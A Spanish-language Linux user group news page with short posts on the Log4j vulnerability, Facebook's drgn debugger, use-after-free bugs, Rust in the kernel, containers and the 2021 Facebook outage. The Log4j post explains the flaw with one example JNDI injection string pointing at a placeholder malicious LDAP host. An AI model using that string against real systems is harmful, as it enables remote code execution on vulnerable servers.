Bienvenido(a) a Grupo Linuxero del Bajío lunes, enero 24 2022 @ 02:14 CET

¿qué pasó con log4j?

  • miércoles, diciembre 22 2021 @ 11:44 CET
  • Autor:
  • Lecturas 73
Noticias Para estas alturas posiblemente todos ya estarán enterados del fallo de seguridad en log4j[1], aunque creo que vale la pena repasarlo.

Todo software más o menos complejo registra los eventos que le conciernen. La forma más simple de registrar estos eventos, sería imprimir en la salida estándar o de error un mensaje, humanamente legible, describiendo el evento en cuestión. Pero el registro de eventos puede complicarse al grado de que existen bibliotecas de software específicas que abstraen esta actividad. Hay bibliotecas de "logging" (como se conoce al registro de eventos) para todos los lenguajes, y log4j[2] es uno de los disponibles para Java.

¿En qué consiste el bug?

En pocas palabras, log4j "parsea" los mensajes a registrar en búsqueda de variables que puede reemplazar. Por ejemplo, el programador loggea este mensaje:

logger.info("El usuario " + user + " ha entrado").

Entonces log4j parsea la cadena y sabe que la variable user, en el estado actual de la aplicación es "ceyusa", por lo que finalmente escribe en bitácora

12:38:10.234 [main] INFO Main - El usuario 'ceyusa' ha entrado

Esto es muy útil, pero como todos los datos proveeidos por el usuario, son potencialmente peligrosos, máxime si éstos viajan por red.

Supongamos que el usuario puede cambiar su nombre de usuario de "ceyusa" a "${java:version}". log4j parseará esa cadena y verá que es un programa en java que ejectua, por lo que el resultado será:

12:38:10.234 [main] INFO Main - El usuario 'Java version 1.8.0_213' ha entrado

Por otro lado, hay una cosa en Java que se llama JNDI: Java Naming and Directory Interface[3]. Es una interfaz para indicar, a la máquina virtual de Java, la localización de un recurso remoto, por ejemplo una base de datos, un Enterprise Java Bean, etcétera. Uno de los usos más comunes es obtener información de un directorio a través del protocol LDAP.

En nuestro ejemplo, el usuario podría cambiar su nombre de usuario por '${jndi:ldap://malicioso.com:1389/123}'. Lo que haría log4j sería parsear esa cadena y ejectuarla. Al usar la API de JNDI, sabrá que el contenido de esa variable se encuentra en un servidor remoto, llamado malicioso.com, usando el protocolo LDAP y obtendrá el registro con la llave 123. Este servidor remoto puede estar bajo control del atacante y devolverá una cadena que se ejecutará dentro de la máquina virtual de Java que ejecuta de nuestra inocente aplicación, como, por ejemplo, lanzar una terminal en un puerto TCP (el típico remote backdoor).

¿Por qué es tan reelevante?

1. Hay un montón de software en Java, legacy, sin mantener, ejecutándose en internet, usando una versión vulnerable de log4j.
2. Hay un montón de software en Java, mantenido, pero que tiene una dependencia fuerte a un framework que usa una versión vulnerable de log4j.
3. Hay demasiado software en Java, como en bancos, controladores aeropuertuarios, etc.

Finalmente, nos remite al cartón de XKCD[4] sobre tener dependencias profundas de software, en sistemas complejos. O, al otro, clásico, sobre no confiar, nunca, en lo absoluto, en las entradas del sistema[5].

Es más, hay quien toma esta situación como argumento para evitar esos grantes frameworks totalizantes, y que sólo el lenguaje de programación sea nuestro framework[6].

1. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2. https://logging.apache.org/log4j/2.x/
3. https://docs.oracle.com/javase/tutori...index.html
4. https://xkcd.com/2347/
5. https://xkcd.com/327/
6. https://twitter.com/tomaka17/status/1...7790571522

drgn, el debugger de los programadores de facebook

  • martes, diciembre 14 2021 @ 08:30 CET
  • Autor:
  • Lecturas 50
Noticias Sin ímpetus de coherencia la susodicha red social no es santo de mi devoción, mucho menos su dueño y su accionistas, mas debo decir que sus desarrolladores hacen cosas muy interesantes que luego tienen la amabilidad de publicar como software libre [1], como su transpilador a PHP[2].

Pues ahora presentan su debugger, otro reemplazo a gdb, pero ahora usando Python como interfaz con el usuario, llamado drgn[3]. Me parece interesante, aunque yo soy más de debug a punta de printf.

1. https://github.com/facebook
2. https://hacklang.org/
3. https://developers.facebook.com/blog/...nel-scale/

La pesadilla de los punteros

  • martes, noviembre 16 2021 @ 11:18 CET
  • Autor:
  • Lecturas 71
Artículos Cuando uno aprende a programar en C y se adueña del uso de los punteros, uno generalmente se siente capaz de cualquier hazaña. Sin embargo, todo poder es ilusorio, porque esconde una poderosa debilidad. El concepto de puntero es intrínsecamente demasiado frágil. Tan así que es la fuente de muchos de los agujeros de seguridad, en especial el problema conocido como Use-after-Frees.

Supongamos que uno hace uso de un recurso, un objecto por ejemplo, y tiene una referencia a través de un puntero. Digamos

Object *p = get_object();

Pero en algún momento este objeto es liberado mientras retenemos el puntero p. Y entonces, si hacemos:

p->do_action();

Tenemos, en el mejor de los casos, una falla de segmento (segmentation fault). En el peor de los casos, el método es reemplazado, a través de un buffer overflow, por una función maliciosa.

El problema es generalizado y no es, de ninguna manera, excluviso de programadores novatos. Tanto es así que Google, en Chrome, que usa C++, esta proponiendo una clase llamada MagicPtr<T>, para manejar todos los punteros de los cuales la clase responsable no tiene control:

https://docs.google.com/document/d/1p...Nb_dbQ3ZBg

Reporte de actualizaciones

  • martes, noviembre 09 2021 @ 08:04 CET
  • Autor:
  • Lecturas 73
GLIB Con una semana de vacaciones no planificadas, entre otras tareas, dediqué algunas horas en actualizar el geeklog de este sitio y la distribución del servidor.

También, siguiendo con mi idea de convertir este sito, de utilizar un CMS como geeklog, a un sitio estático, escribí un script para convertir las stories de geeklog en archivos individuales en formato markdown:

https://github.com/ceyusa/geeklog2sta...rc/main.rs

Mi idea en usar Zola como generador del sitio estático: https://www.getzola.org/

Es un experimento, aún no hay nada decidido. Ni creo en el corto plazo haya un cambio. Mi motivación es eliminar lo más posible el código expueso a la red (internet es un campo minado) y delegar los flujos de trabajo a otras herramientas. Pero ya podemos charlar sobre esto en las redes sociales.

Contenedores

  • viernes, octubre 22 2021 @ 09:03 CEST
  • Autor:
  • Lecturas 92
Artículos Uno de los procesos más extendidos en TI es la instalacción de programas y servicios, llega a ser tedioso el tener que resolver todas las dependencias y compilar un programa para que funcione como es debido.

La gran diversidad de sistemas operativos y sus derivados trae alta complejidad para el desarrollador y por ende, casi nunca se soportan todos los posibles casos, más aún "la nube" trae la complejidad de trabajar o bien en un sistema recién horneado o limitado.

Por ello, se han implementado diversas soluciones (que no resuelven el problema al 100%), siendo una de ellas los llamados contenedores, liderado por Docker (https://www.docker.com/) y alternativas como Singularity (https://sylabs.io/singularity/).

Rust en el Kernel

  • martes, octubre 12 2021 @ 05:44 CEST
  • Autor:
  • Lecturas 90
Artículos Ojalá todos aquí sepamos que es Rust, y si no es así, nunca es tarde para saberlo.

Rust es un lenguaje de programación, patrocinado inicialmente por Mozilla, con el propósito de desarrollar su navegador web de siguiente generación, llamado Servo. No obstante, Mozilla ha sorteado vaivenes económicos y tuvo que cortar Servo. Sin embargo, el lenguaje de programación, que siempre conservó su independencia organizacional, sigue tan sano y vibrante como el primer día. Hoy por hoy, Google, Microsoft y muchas otras empresas potentes están utilizando el lenguaje para su consumo interno y en prototipos de futuros productos.

¿Por qué tanto éxito? Veamos sus características:

* Rust no necesita de un entorno de ejecución. Se compila y el binario opera directamente sobre el hardware y SO, tal como un programa escrito en C/C++. Su compilación tiene niveles de optimización elevados, además de generar binarios para varias plataformas, al utilizar LLVM (un framework para hacer compiladores, como clang).

* Rust no necesita de un recolector de basura. Sin embargo, garantiza seguridad de memoria, evitando desbordamientos de búfer (buffer overflow) o fugas de memoria (memory leaks). Esto lo logra a través de un sistema de posesión (ownership) de las variables (esto es lo más interesante y con más implicaciones a la hora de programar). No permite punteros nulos y favorece la asignación de memoria de la pila (stack) sobre la del heap.

* Rust tiene un modelo de programación orientado a la concurrencia, gracias a su tipado (tipos de datos), su sistema de posesión de variables, evitando las condiciones de carrera (race conditions) verificado en tiempo de compilación,

* Rust adopta características de varios modelos de programación: imperativa (como C/C++), funcional (como Lisp o Haskell), orientada a objetos (como Java).

* Rust se distribuye con una serie de utilerías que permiten desarrollar, perfilar y optimizar aplicaciones complejas con solo descargar su toolchain, facilitando la "productividad" del desarrollador.

* Rust tiene ya un enorme catálogo de librerías (llamadas crates) listas para descargar y utilizar: https://crates.io/

Tuve la oportunidad de colaborar en Servo en su momento, desarrollando el soporte para los tags <video> y <audio>, con los excelentes bindings de GStreamer para Rust.

En fin, hay más cosas que decir, pero harían este post más largo de lo que es.

El propósito del post es para comentar que la gente del kernel de Linux ha estado debatiendo los últimos años de usar Rust dentro del Kernel, sobre todo para desarrollar drivers, que suelen ser los que contienen el código más mediocre y menos revisado.

Miguel Ojeda ha sido el promotor de este adopción creando bindigs para las APIs internas del kernel y cuenta con el apoyo de varios mantenedores. Hasta al propio Linus Torvalds le parece prometedor.

Esta es una charla que dio en el pasado Linaro Connect:

https://www.youtube.com/watch?v=VlSkZYBeK8Q

¿Inicio del colapso o de una nueva era dorada?

  • lunes, octubre 04 2021 @ 10:24 CEST
  • Autor:
  • Lecturas 105
Noticias En este momento Facebook, WhatsApp e Instagram llevan varias horas caídos.

Justo cuando un whistleblower había salido en los medios de EEUU alertando sobre las malas prácticas de Facebook, las tablas de ruteo (BGP) para acceder a los servidores de Facebook fueron actualizadas... hacia ninguna parte.

Pero para hacer el problema más gordo, los mismo empleados de Facebook no pueden utilizar su software interno porque todo usa el dominio facebook.com, que es inaccesible.

Para más información: https://krebsonsecurity.com/2021/10/w...-whatsapp/

Así que ahora a explorar otros servicios, otras actividades, otras formas de comunicarse.

Charlas de la XOrg Developer Conference 2021

  • sábado, septiembre 25 2021 @ 12:36 CEST
  • Autor:
  • Lecturas 147
Educación Hace dos semanas fue la Conferencia de Desarrolladores de XOrg. Lo de XOrg es casi legacy, ya que la conferencia gira alreadedor de todo el software de bajo de nivel de gráficos, desde el Kernel hasta el protocolo de Wayland (pasando por Mesa, o sea, OpenGL, Vulkan, etc.).

Una de las consecuencias de que, con la pandemia, las conferencias tuvieran que llevarse a cabo en línea, es que los vídeos están disponibles inmediamente. O que la participación sea más fácil, sin la necesidad del desplazamiento.

Aquí están las charlas de este año: https://media.ccc.de/c/xdc2021

Page navigation